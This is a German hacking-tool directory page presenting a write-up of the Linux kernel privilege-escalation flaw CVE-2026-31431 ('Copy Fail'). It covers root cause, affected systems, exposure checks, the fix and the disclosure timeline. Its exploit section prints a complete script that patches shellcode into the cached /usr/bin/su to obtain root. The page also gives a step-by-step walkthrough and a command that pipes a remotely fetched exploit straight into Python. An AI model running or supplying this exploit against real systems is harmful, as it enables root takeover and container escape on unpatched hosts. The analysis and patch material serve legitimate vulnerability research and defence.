Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431 — Eine strukturierte Erläuterung von CVE-2026-31431 (Copy Fail), die die drei Kernel-Änderungen miteinander verbindet, die die Schwachstelle eingeführt und ihre Ausnutzung ermöglicht haben. | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2026-31431
Privilege EscalationSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungContainer-AusbruchBinary-Exploitation
GitHubthemalwareguardian/cve-2026-31431

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-31431

Eine strukturierte Erläuterung von CVE-2026-31431 (Copy Fail), die die drei Kernel-Änderungen miteinander verbindet, die die Schwachstelle eingeführt und ihre Ausnutzung ermöglicht haben.

Repository anzeigen
25vor 4 MonatenNoch nicht geprüft

🐞 CVE-2026-31431 - Copy Fail



Ein Logikfehler in authencesn, der über AF_ALG und splice() zu einem kontrollierten 4-Byte-Schreibzugriff in den Page Cache einer beliebigen lesbaren Datei auf dem System führt. Keine Race Condition, keine Offsets, kein kompilierter Payload. Dasselbe 732-Byte-Skript erlangt auf jeder Linux-Distribution seit 2017 Root-Rechte.




📑 Inhaltsverzeichnis

  • Übersicht
  • Root-Cause-Analyse
    📂
    • Die AF_ALG- + splice()-Primitive
    • Die In-Place-Optimierung von 2017
    • Der Out-of-Bounds-Schreibzugriff in authencesn
    • Drei harmlose Änderungen → ein kritischer Bug
    • Die Scatterlist in Page-Cache-Seiten durchlaufen

  • Auswirkungen
  • Betroffene Distributionen
  • Überprüfung – Bin ich betroffen?

  • Exploit
  • Exploit-Durchlauf
    📂
    • Schritt 1 – Socket-Einrichtung
    • Schritt 2 – Den Schreibzugriff konstruieren
    • Schritt 3 – Den Page-Cache-Schreibzugriff auslösen
    • Schritt 4 – Ausführen

  • Vergleich mit Dirty Cow / Dirty Pipe

  • Der Fix
  • Offenlegung
  • Referenzen



🔍 Übersicht

CVE-2026-31431 – Copy Fail ist ein Logikfehler in der kryptografischen Vorlage authencesn des Linux-Kernels. Er ermöglicht es einem unprivilegierten lokalen Benutzer, einen kontrollierten 4-Byte-Schreibzugriff in den Page Cache einer beliebigen lesbaren Datei auf dem System durchzuführen, ohne die Datei auf der Festplatte zu verändern.

Der Bug existiert in keiner der drei Komponenten für sich allein. Er entsteht durch ihr Zusammenspiel:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 Ursachenanalyse***

<div id='primitive'/>

### ***Das AF_ALG + splice()-Primitiv***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) ist ein Socket-Typ, der die kryptografische Kernel-API für unprivilegierten Userspace verfügbar macht. Ein unprivilegierter Prozess kann:

1. Einen AF_ALG / SOCK_SEQPACKET-Socket öffnen.
2. per bind() an eine beliebige verfügbare AEAD-Vorlage binden, die von der Kernel-Krypto-API bereitgestellt wird.
3. Einen kryptografischen Schlüssel über setsockopt(SOL_ALG, ALG_SET_KEY, ...) auf dem konfigurierten Algorithmus setzen.
4. accept() aufrufen, um einen dedizierten Operations-Socket zu erhalten, der Ver- und Entschlüsselungsanforderungen verarbeitet
5. Präparierte Daten mit sendmsg() senden und das verarbeitete Ergebnis per recvmsg() empfangen, wobei vollständig mit dem Krypto-Subsystem des Kernels interagiert wird.

Es ist in der Kernel-Konfiguration aller großen Distributionen standardmäßig aktiviert (CONFIG_CRYPTO_USER_API_AEAD=y).

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** überträgt Daten zwischen Dateideskriptoren ohne Kopieren – es übergibt Referenzen auf Seiten, nicht Kopien. Der relevante Ablauf:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
Tool herunterladen

Die TX-Scatterlist des AF_ALG-Sockets enthält direkte Referenzen auf dieselben physischen Seiten, die der Kernel für jeden read()-, mmap()- und execve()-Aufruf der Datei verwendet. Es ist keine Kopie beteiligt.


Die In-Place-Optimierung von 2017

Commit 72548b093ee3, algif_aead.c. Für die Entschlüsselung:

  1. Kopiert die AAD und den Ciphertext aus der TX-SGL (Quelle) in den RX-Puffer (Ziel) - eine echte Kopie.
  2. Verkettet die Authentifizierungs-Tag-Seiten über sg_chain() und behält dabei die Page-Cache-Referenzen in der RX-SGL.
  3. Setzt req->src = req->dst, wobei beide auf die kombinierte RX-SGL zeigen.``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***Der Schreibzugriff außerhalb der Grenzen in authencesn***

authencesn ist der Kernel-AEAD-Wrapper, der von IPsec mit erweiterten Sequenznummern (RFC 4303) verwendet wird. IPsec verwendet 64-Bit-Sequenznummern:

- seqno_hi - die oberen 32 Bits (Bytes 0-3 der AAD)
- seqno_lo - die unteren 32 Bits (Bytes 4-7 der AAD)

Nur seqno_lo wird über das Netzwerk übertragen; seqno_hi ist impliziter Kontext. Für die HMAC-Berechnung muss authencesn diese Bytes neu anordnen: seqno_hi am Anfang und seqno_lo am Ende der Hash-Eingabe.

Diese Neuordnung führt es durch, indem es die Ziel-Scatterlist des Aufrufers als Scratch-Bereich verwendet:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

Aufruf [3] schreibt 4 Bytes an dst[assoclen + cryptlen]. Der Ausgabe-Vertrag der AEAD-API für die Entschlüsselung ist AAD || Klartext – genau assoclen + (cryptlen - authsize) Bytes. assoclen + cryptlen liegt jenseits des Authentifizierungstags. authencesn schreibt in Speicher, der ihm nicht gehört.

crypto_authenc_esn_decrypt_tail() liest seqno_lo zurück, um das korrekte AAD zu rekonstruieren, stellt aber die ursprünglichen Bytes an dst[assoclen + cryptlen] nie wieder her. Die Überschreibung ist dauerhaft, unabhängig davon, ob die HMAC-Prüfung erfolgreich ist oder fehlschlägt.

Kein anderer Standard-AEAD-Algorithmus im Kernel verhält sich so. GCM, CCM und Standard-authenc beschränken ihre Schreibvorgänge strikt auf den legitimen Ausgabebereich.


Drei harmlose Änderungen → ein kritischer Bug

Im In-Place-Pfad von algif_aead nach 2017 hat die Scatterlist, die als req->dst an authencesn übergeben wird, die folgende Struktur:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
scatterwalk_map_and_copy hat kein Konzept von Seiteneigentümerschaft; es bildet einfach die Seite ab, auf die die Scatterlist über kmap_local_page zeigt, und schreibt in sie hinein. Wenn Page-Cache-Seiten in req->dst vorhanden sind, wird die gecachte Seite von "/usr/bin/su" abgebildet und seqno_lo direkt in die In-Memory-Kopie der Datei im Kernel geschrieben.

Der HMAC wird über die neu angeordneten Bytes berechnet und schlägt fehl (der Chiffretext ist angreiferkontrolliert). recvmsg() gibt einen Fehler zurück. Der 4-Byte-Schreibvorgang in den Page Cache bleibt bestehen.

---

<div id='scatterlist'/>

### ***Die Scatterlist in Page-Cache-Seiten durchlaufen***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

Die Seite wird nie als dirty markiert (SetPageDirty / mark_page_accessed werden in diesem Pfad nicht aufgerufen). Der Writeback-Mechanismus des Kernels spült sie nicht auf die Festplatte. Die Datei auf der Festplatte bleibt unverändert.




💥 Auswirkungen

Die kontrollierte 4-Byte-Schreibprimitive in den Page Cache wird zu einer vollständigen lokalen Privilege Escalation (LPE):

  • Der Angreifer kontrolliert welche Datei (jede lesbare Datei, einschließlich setuid-Binaries).
  • Der Angreifer kontrolliert welchen Offset innerhalb der Datei (über assoclen, splice offset und splice length).
  • Der Angreifer kontrolliert welchen Wert (die 4 Bytes sind seqno_lo, vom Angreifer in sendmsg() konstruiert).

Durch iterative 4-Byte-Schreibvorgänge kann der Angreifer Shellcode in den .text-Abschnitt einer setuid-Binary im Page Cache patchen. execve() lädt aus dem Page Cache, sodass die manipulierte Binary mit UID 0 ausgeführt wird.

Der Page Cache wird hostweit einschließlich aller Container gemeinsam genutzt. Copy Fail ist nicht nur eine lokale LPE, sondern eine Container-Escape-Primitive und ein Vektor zur Kompromittierung von Kubernetes-Knoten.

UmgebungRisikoErgebnis
Multi-Tenant-Linux-HostsKritischJeder Benutzer → root
Kubernetes / ContainerKritischPod → Host, mandantenübergreifend
CI-Runner (nicht vertrauenswürdige PRs)KritischPR → root auf dem Runner
Cloud-SaaS, das Benutzercode ausführtKritischMandant → Host-Root
Single-Tenant-ServerHochInterne LPE; kombinierbar mit Web-RCE
Einzelbenutzer-WorkstationsMittelPost-Exploitation-Privilege-Escalation

🎯 Betroffene Distributionen

Jedes Linux-System, das einen zwischen 2017 und dem Patch erstellten Kernel ausführt, mit AF_ALG in der Standardkonfiguration aktiviert, was effektiv alle gängigen Distributionen einschließt.

Direkt verifiziert von Theori / Xint:

DistributionKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Andere Distributionen, die betroffene Kernel ausführen (Debian, Arch, Fedora, Rocky, Alma, Oracle, eingebettete Zielsysteme), verhalten sich identisch; der Fehler liegt im gemeinsamen Krypto-Subsystem und nicht in einem distributionsspezifischen Patch.

Voraussetzungen für die Ausnutzung:

  • Unprivilegiertes lokales Benutzerkonto.
  • AF_ALG verfügbar (standardmäßig in allen gängigen Distributionen aktiviert).
  • splice(2) verfügbar (allgemein verfügbar).
  • Python 3.10+ (für os.splice) oder Zugriff auf rohe Syscalls aus einer beliebigen Sprache.
  • Keine Kernel-Debugging-Funktionen, keine speziellen Capabilities, keine vorbestehenden Primitives erforderlich.

🔎 Überprüfung - Bin ich betroffen?

1. Kernelversion prüfen```bash

uname -r

root@kitploit:~
Wenn der Kernel zwischen 2017 und dem Patch (Commit a664bf3d603d) erstellt wurde, ist das System möglicherweise betroffen. Überprüfen Sie, ob der Patch vorhanden ist:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. Prüfen, ob AF_ALG verfügbar ist```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. Prüfen, ob algif_aead geladen ist***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. Skript zur Überprüfung der Angriffsfläche

Das folgende Skript prüft, ob der angreifbare Pfad erreichbar ist. Es führt keine Schreibvorgänge aus, es überprüft lediglich die Verfügbarkeit der Angriffsfläche:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 Exploit***

Dieser Exploit wurde ursprünglich von Theori / Xint Code zusammen mit der öffentlichen Offenlegung am 29. April 2026 veröffentlicht.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Offizielles Repository:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Anforderungen:** Python 3.10+, betroffener Kernel, AF_ALG aktiviert.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

Ausführung```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---



<div id='walkthrough'/>

## ***🔬 Exploit-Walkthrough***

<div id='step1'/>

### ***Schritt 1 - Socket-Setup***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

Das authencesn-Template wird ausgewählt - der einzige AEAD-Algorithmus im Kernel, der außerhalb seines legitimen Ausgabebereichs schreibt. Diese Wahl ist bewusst: GCM, CCM und das Standard-authenc lösen den Fehler nicht aus.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 legt die Größe des Authentifizierungs-Tags fest. Dieser Wert steuert direkt, wo `dst[assoclen + cryptlen]` relativ zur Tag-Region im Scatterlist landet, und damit, welcher Offset innerhalb des Page-Cache-Seitenbereichs überschrieben wird.

<div id='step2'/>

### ***Schritt 2 – Den Write konstruieren***

Für jeden 4-Byte-Chunk der Nutzlast:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

Die Bytes 4–7 der AAD (seqno_lo) sind genau die 4 Bytes, die authencesn in dst[assoclen + cryptlen] schreibt. Der Angreifer gestaltet sie mit dem gewünschten Payload-Wert.

Der Datei-Offset wird über die Splice-Parameter gesteuert:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***Schritt 3 - Den Page-Cache-Schreibvorgang auslösen***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

Der Aufruf von recv() löst die Entschlüsselungsoperation im Kernel aus. Der recvmsg()-Fehler ist erwartet und irrelevant. Der Schreibvorgang in den Page Cache hat bereits stattgefunden.

Schritt 4 – Ausführen

Nachdem alle Payload-Chunks durchlaufen wurden:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. Der Kernel lädt die Binärdatei aus dem Seiten-Cache.
2. Die gecachte Seite enthält den injizierten Shellcode (die Datei auf der Festplatte ist unverändert).
3. /usr/bin/su ist setuid-root: Der Prozess startet mit effektiver UID 0.
4. Der Shellcode startet eine Root-Shell.```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ Vergleich mit Dirty Cow / Dirty Pipe

Alle drei gehören zur selben Angriffsklasse: Schreiben in den Page Cache aus unprivilegiertem Userspace, ohne die Datei auf der Festplatte zu verändern, um über eine Setuid-Binärdatei Privilegien zu erlangen. Ihre Mechanismen und Einschränkungen unterscheiden sich erheblich.

  • CVE-2016-5195 - Dirty Cow

    Race condition im Copy-on-Write- (COW-) Pfad des VM-Subsystems. Erforderte das Gewinnen eines TOCTOU-Fensters, mehrere Versuche, variable Zuverlässigkeit, gelegentliche Abstürze. Kernel 2.6.22 bis 4.8.3.

  • CVE-2022-0847 - Dirty Pipe

Missbrauch des PIPE_BUF_FLAG_CAN_MERGE-Flags in Pipe-Puffern, um vom Angreifer kontrollierte Daten in den Page Cache zu mischen. Deterministisch, aber versionsspezifisch (Kernel ≥ 5.8 mit bestimmten Patches).

  • CVE-2026-31431 - Copy Fail

    Geradliniger Logikfehler. Keine Race condition, keine distributionsspezifischen Offsets, kein kompiliertes Payload. Ein 732-Byte-Python-Skript, das nur die Standardbibliothek verwendet, erlangt auf allen großen Distributionen von 2017 bis 2026 Root-Rechte.

  • Dirty CowDirty PipeCopy Fail
    MechanismusRace condition (COW)Pipe-Flag-MissbrauchAEAD-Logik + Scatterlist
    Erfordert RaceJaNeinNein
    Zuverlässigkeit30-80%Hoch100 %, einzelner Versuch
    Kernelbereich2.6.22-4.8.3≥5.8 (spezifisch)2017-2026 (~9 Jahre)
    Offsets pro DistributionJaEinigeNein
    Kompiliertes PayloadJaNeinNein
    Container-EscapeNeinNeinJa



    🩹 Die Behebung

    Der Mainline-Commit a664bf3d603d behebt 72548b093ee3 (die In-Place-Optimierung von 2017)

    Der Patch setzt algif_aead.c zurück auf den Out-of-Place-Betrieb. req->src und req->dst werden wieder getrennte Scatterlists. Über splice() gelieferte Page-Cache-Seiten verbleiben in der schreibgeschützten TX-SGL (req->src). Der RX-Puffer - der einzige Speicher, in den der Krypto-Algorithmus schreiben darf - ist der recvmsg-Puffer des Benutzers (req->dst). Der sg_chain()-Mechanismus, der zuvor Tag-Seiten (Page Cache) in das beschreibbare Ziel verkettete, wird entfernt.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

    /* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

    root@kitploit:~
    Die Commit-Nachricht besagt: „Es gibt keinen Vorteil, in algif_aead in-place zu arbeiten, da Quelle und Ziel aus unterschiedlichen Zuordnungen stammen.“
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='timeline'/>
    
    ## ***📅 Offenlegungszeitplan***
    
    | Datum      | Ereignis                                                  |
    |------------|-----------------------------------------------------------|
    | 2026-03-23 | Schwachstelle an das Linux-Kernel-Sicherheitsteam gemeldet |
    | 2026-03-24 | Erste Bestätigung erhalten                                |
    | 2026-03-25 | Patches vorgeschlagen und überprüft                       |
    | 2026-04-01 | Patch in Mainline übernommen (a664bf3d603d)               |
    | 2026-04-22 | CVE-2026-31431 zugewiesen                                 |
    | 2026-04-29 | Öffentliche Offenlegung, [copy.fail](https://copy.fail/)  |
    
    **Entdeckt von:** Taeyang Lee bei [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='references'/>
    
    ## ***📚 Referenzen***
    
    - **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
    	> Eintrag in der National Vulnerability Database.
    
    - **[Copy Fail – Offizielle Offenlegung](https://copy.fail/)**
    	> Landingpage mit FAQ, betroffenen Distributionen, Mitigation und PoC.
    
    - **[Theori / Xint Blog – Vollständiger Artikel](https://xint.io/blog/copy-fail-linux-distributions)**
    	> Grundursache, Scatterlist-Diagramme, historische Kette (2011→2015→2017) und Exploit-Durchlauf.
    
    - **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
    	> Offizielles Repository mit dem PoC.
    
    - **[Commit a664bf3d603d – Fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
    	> Macht die In-Place-Optimierung von algif_aead rückgängig.
    
    - **[Commit 72548b093ee3 – Grundursache (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
    	> Führt die In-Place-Optimierung ein, die Page-Cache-Seiten in das beschreibbare Ziel legte.
    
    - **[Commit a5079d084f8b – authencesn eingeführt (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
    	> Ursprünglicher Commit, der authencesn hinzufügte und das Scratch-Schreibmuster etablierte.
    
    - **[Commit 104880a6b470 – authencesn auf AEAD-API migriert (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
    	> Führt den assoclen- + cryptlen-Offset ein, der außerhalb der legitimen Region schreibt.
    
    - **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
    	> Stand der Technik in der Klasse der Page-Cache-Korruption / LPE.